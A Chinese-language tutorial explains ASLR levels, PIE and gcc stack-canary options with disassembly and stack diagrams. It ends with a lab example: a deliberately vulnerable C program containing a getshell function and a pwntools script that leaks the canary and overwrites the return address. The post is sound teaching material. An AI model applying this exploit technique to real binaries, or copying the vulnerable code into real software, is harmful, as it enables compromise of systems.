ASLR、PIE、Canary栈保护

356 阅读3分钟

ASLR

ASLR是地址空间布局随机化,是linux内核的特性

linux系统中ASLR分三个等级

  • 0:没有随机化。即关闭ASLR。
  • 1:保留的随机化。共享库、栈、mmap()以及VDSO将被随机化。
  • 2:完全的随机化。在1的基础上,通过brk()分配的内存空间也将被随机化。

可以通过内核参数来控制,查看当前ASLR开启情况用如下命令

cat /proc/sys/kernel/randomize_va_space

如果要进行修改,可以通过echo命令输入到这个文件来修改

PIE

PIE是位置无关,是在编译期间通过编译选项进行设置的。

如果编译器在生成可执行程序的过程中使用了PIE,那么当可执行程序被加载到内存中时其加载地址存在不可预知性。

调试一个程序时可以通过gcc -no-pie来关闭PIE保护

相比与ALSR是为了保护程序,PIE更多的是为了让程序做到执行时与位置无关,也就是更方便的重定位。

canary栈保护

可以在一定程度上防止栈溢出攻击,在一个函数开始部分将一个"随机数"放到函数所在栈帧中,在函数返回之前先检查这个值是否发生改变,如果改变证明发生了栈溢出,从而达到栈保护的目的。

这个功能可以通过编译过程中给gcc的选项来设置

  • -fno-stack-protector:禁用栈保护
  • -fstack-protector: 启用栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
  • -fstack-protector-all:启用栈保护,为所有函数插入栈保护代码。

canary原理

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void getshell(){
    system("/bin/sh");
}
void vulnerable(){
    char buf[10];
    gets(buf);
    return;
}
int main(){
    vulnerable();
    return 0;
}

/proc/sys/kernel/randomize_va_space为0(即关闭ASLR)的情况下进行实验,并且编译时都关闭PIE保护

  • gcc -m32 -fno-stack-protector -no-pie a.c -o 32noCanary
  • gcc -m32 -fstack-protector-all -no-pie a.c -o 32Canary
  • gcc -fno-stack-protector -no-pie a.c -o 64noCanary
  • gcc -fstack-protector-all -no-pie a.c -o 64Canary

32Canary相比与32noCanary中的vulnerable函数开头多的代码

mov     edx, large gs:14h
mov     [ebp+var_C], edx
xor     edx, edx

32Canary相比与32noCanary中的vulnerable函数结尾多的代码

mov     eax, [ebp+var_C]
sub     eax, large gs:14h
jz      short loc_804921E
call    __stack_chk_fail_local
loc_804921E:
mov     ebx, [ebp+var_4]
leave
retn

x86栈结构大致如下

        High  
        Address |                 |  
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      ebp =>    +-----------------+
                | ebx             |
    ebp-4 =>    +-----------------+
                | unknown         |
    ebp-8 =>    +-----------------+
                | canary value    |
   ebp-12 =>    +-----------------+
                | 局部变量         |
        Low     |                 |
        Address
​

下面是64Canary相比64noCanary中vulnerable函数中开头和结尾多的代码

mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
mov     rax, [rbp+var_8]
sub     rax, fs:28h
jz      short locret_4011F8
call    ___stack_chk_fail
locret_4011F8:
leave
retn

x64栈结构如下

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      rbp =>    +-----------------+
                | canary value    |
    rbp-8 =>    +-----------------+
                | 局部变量         |
        Low     |                 |
        Address
​

canary简单绕过示例

cananry的数据形式为0x.....00,因为是小端存储,所以在内存最开始的位置存储的是\x00。Canary的值最后两位是0,也就是说是一个字符的大小,如果刚好把这个00覆盖掉,那么,就能打印出前几位Canary的值

源码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
int vulnerable() {
    char buf[100];
    read(0, buf, 0x200);
    printf(buf);
    read(0, buf, 0x200);
    printf(buf);
    return 0;
}
int main(void) {
    init();
    vulnerable();
    return 0;
}

编译生成32位程序

这个题和ASLR没啥关系,开着就可以。关闭PIE保护,开启Canary。

gcc -m32 -fstack-protector-all -no-pie lab.c -o lab

payload代码

from pwn import *
​
context.log_level = 'debug'
io = process('./lab')
get_shell = ELF("./lab").sym["getshell"]
​
payload1 = b"A"*100 + b"B"
io.send(payload1) 
​
io.recvuntil(b"A"*100)
Canary = u32(io.recv(4))-0x42   # hex(ord('B'))=0x42
log.info("Canary:"+hex(Canary))
​
payload2 = b"A"*100 + p32(Canary) + b"A"*12 + p32(get_shell)
io.send(payload2)
io.interactive()